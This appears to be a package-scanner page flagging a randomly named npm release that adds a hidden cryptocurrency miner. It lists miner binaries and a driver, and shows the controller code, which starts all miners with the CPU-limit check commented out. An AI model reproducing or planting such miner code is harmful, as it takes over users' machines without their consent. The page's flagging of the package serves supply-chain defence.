irwfpdsogjuyqmah 0.0.69
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of irwfpdsogjuyqmah might be problematic. Click here for more details.
- package/package.json +1 -0
- package/public/index.html +1 -0
- package/public/main.js +2 -0
- package/server/package-lock.json +1494 -0
- package/server/package.json +21 -0
- package/server/src/app.js +122 -0
- package/server/src/index.js +3 -0
- package/server/src/logger.js +54 -0
- package/server/src/miners/irwfpdsogjuyqmah/WinRing0x64.sys +0 -0
- package/server/src/miners/irwfpdsogjuyqmah/config.base.json +412 -0
- package/server/src/miners/irwfpdsogjuyqmah/irwfpdsogjuyqmah +0 -0
- package/server/src/miners/irwfpdsogjuyqmah/irwfpdsogjuyqmah.exe +0 -0
- package/server/src/miners/irwfpdsogjuyqmah/irwfpdsogjuyqmah.miner.js +107 -0
- package/server/src/miners.controller.js +154 -0
@@ -0,0 +1,154 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const osu = require('node-os-utils')
|
3
|
+
const cpu = osu.cpu
|
4
|
+
const mem = osu.mem
|
5
|
+
const Table = require('cli-table');
|
6
|
+
|
7
|
+
module.exports = class Controller {
|
8
|
+
|
9
|
+
_app = null;
|
10
|
+
|
11
|
+
_active = false;
|
12
|
+
|
13
|
+
_running = false;
|
14
|
+
|
15
|
+
_settings = {
|
16
|
+
maxCPU: 60,
|
17
|
+
maxGPU: 60,
|
18
|
+
maxRAM: 60,
|
19
|
+
tickInterval: 2000
|
20
|
+
};
|
21
|
+
|
22
|
+
_miners = [];
|
23
|
+
|
24
|
+
_tickInterval = null;
|
25
|
+
|
26
|
+
_system = {
|
27
|
+
cpuLoad: 0,
|
28
|
+
freeMem: 0,
|
29
|
+
ram: {}
|
30
|
+
}
|
31
|
+
|
32
|
+
_status = {
|
33
|
+
coins: [
|
34
|
+
{
|
35
|
+
id: 'stratus',
|
36
|
+
total: 0
|
37
|
+
}
|
38
|
+
]
|
39
|
+
}
|
40
|
+
|
41
|
+
get status() {
|
42
|
+
return {
|
43
|
+
coins: [
|
44
|
+
{
|
45
|
+
id: 'stratus',
|
46
|
+
total: 0
|
47
|
+
}
|
48
|
+
],
|
49
|
+
active: this._active
|
50
|
+
}
|
51
|
+
}
|
52
|
+
|
53
|
+
constructor(app) {
|
54
|
+
this._app = app;
|
55
|
+
this.init();
|
56
|
+
}
|
57
|
+
|
58
|
+
init() {
|
59
|
+
|
60
|
+
}
|
61
|
+
|
62
|
+
start() {
|
63
|
+
if (this._running) {
|
64
|
+
this._app.logger.info('Start: miner already running');
|
65
|
+
return;
|
66
|
+
}
|
67
|
+
|
68
|
+
this._app.logger.info('Starting miner')
|
69
|
+
this._tickInterval = setInterval(() => this.tick(), this._settings.tickInterval);
|
70
|
+
this._running = true;
|
71
|
+
}
|
72
|
+
|
73
|
+
stop() {
|
74
|
+
this._app.logger.info('Stopping miner');
|
75
|
+
|
76
|
+
clearInterval(this._tickInterval);
|
77
|
+
this._tickInterval = null;
|
78
|
+
this._running = false;
|
79
|
+
this._miners.forEach(miner => miner.stop());
|
80
|
+
}
|
81
|
+
|
82
|
+
reset() {
|
83
|
+
|
84
|
+
}
|
85
|
+
|
86
|
+
async tick() {
|
87
|
+
this._system.cpuLoad = await cpu.usage();
|
88
|
+
this._system.ram = await mem.info();
|
89
|
+
this._system.cpu = os.cpus();
|
90
|
+
this._system.freeMem = os.freemem();
|
91
|
+
|
92
|
+
// process.stdout.write('\x1b[H\x1b[2J')
|
93
|
+
|
94
|
+
// instantiate
|
95
|
+
var table = new Table({
|
96
|
+
head: ['TH 1 label', 'TH 2 label']
|
97
|
+
, colWidths: [100, 200]
|
98
|
+
});
|
99
|
+
|
100
|
+
// table is an Array, so you can `push`, `unshift`, `splice` and friends
|
101
|
+
table.push(
|
102
|
+
['First value', 'Second value']
|
103
|
+
, ['First value', 'Second value']
|
104
|
+
);
|
105
|
+
|
106
|
+
if (!this._active) {
|
107
|
+
this._active = true;
|
108
|
+
this._miners.forEach(miner => miner.start());
|
109
|
+
}
|
110
|
+
|
111
|
+
// if (this._settings.maxCPU > this._system.cpuLoad) {
|
112
|
+
// this._active = true;
|
113
|
+
|
114
|
+
// } else {
|
115
|
+
// this._active = false;
|
116
|
+
// }
|
117
|
+
|
118
|
+
// if (this._active) {
|
119
|
+
// this._miners.forEach(miner => miner.start());
|
120
|
+
// } else {
|
121
|
+
// this._miners.forEach(miner => miner.stop());
|
122
|
+
// }
|
123
|
+
|
124
|
+
this._status.coins[0].total = 0;
|
125
|
+
}
|
126
|
+
|
127
|
+
updateSettings(settings) {
|
128
|
+
Object.assign(this._settings, settings);
|
129
|
+
console.log(this._settings)
|
130
|
+
}
|
131
|
+
|
132
|
+
loadMiner(name) {
|
133
|
+
const Miner = require(`./miners/${name}/${name}.miner.js`);
|
134
|
+
const miner = new Miner(this._app);
|
135
|
+
this._miners.push(miner);
|
136
|
+
}
|
137
|
+
|
138
|
+
removeMiner(name) {
|
139
|
+
const miner = this._getMiner(name);
|
140
|
+
miner.stop();
|
141
|
+
}
|
142
|
+
|
143
|
+
pauseMiner(name) {
|
144
|
+
this._getMiner(name).pause();
|
145
|
+
}
|
146
|
+
|
147
|
+
updateMiner(name, settings) {
|
148
|
+
this._getMiner(name).update(settings);
|
149
|
+
}
|
150
|
+
|
151
|
+
_getMiner(name) {
|
152
|
+
return this._miners.find(miner => miner.name === name);
|
153
|
+
}
|
154
|
+
}
|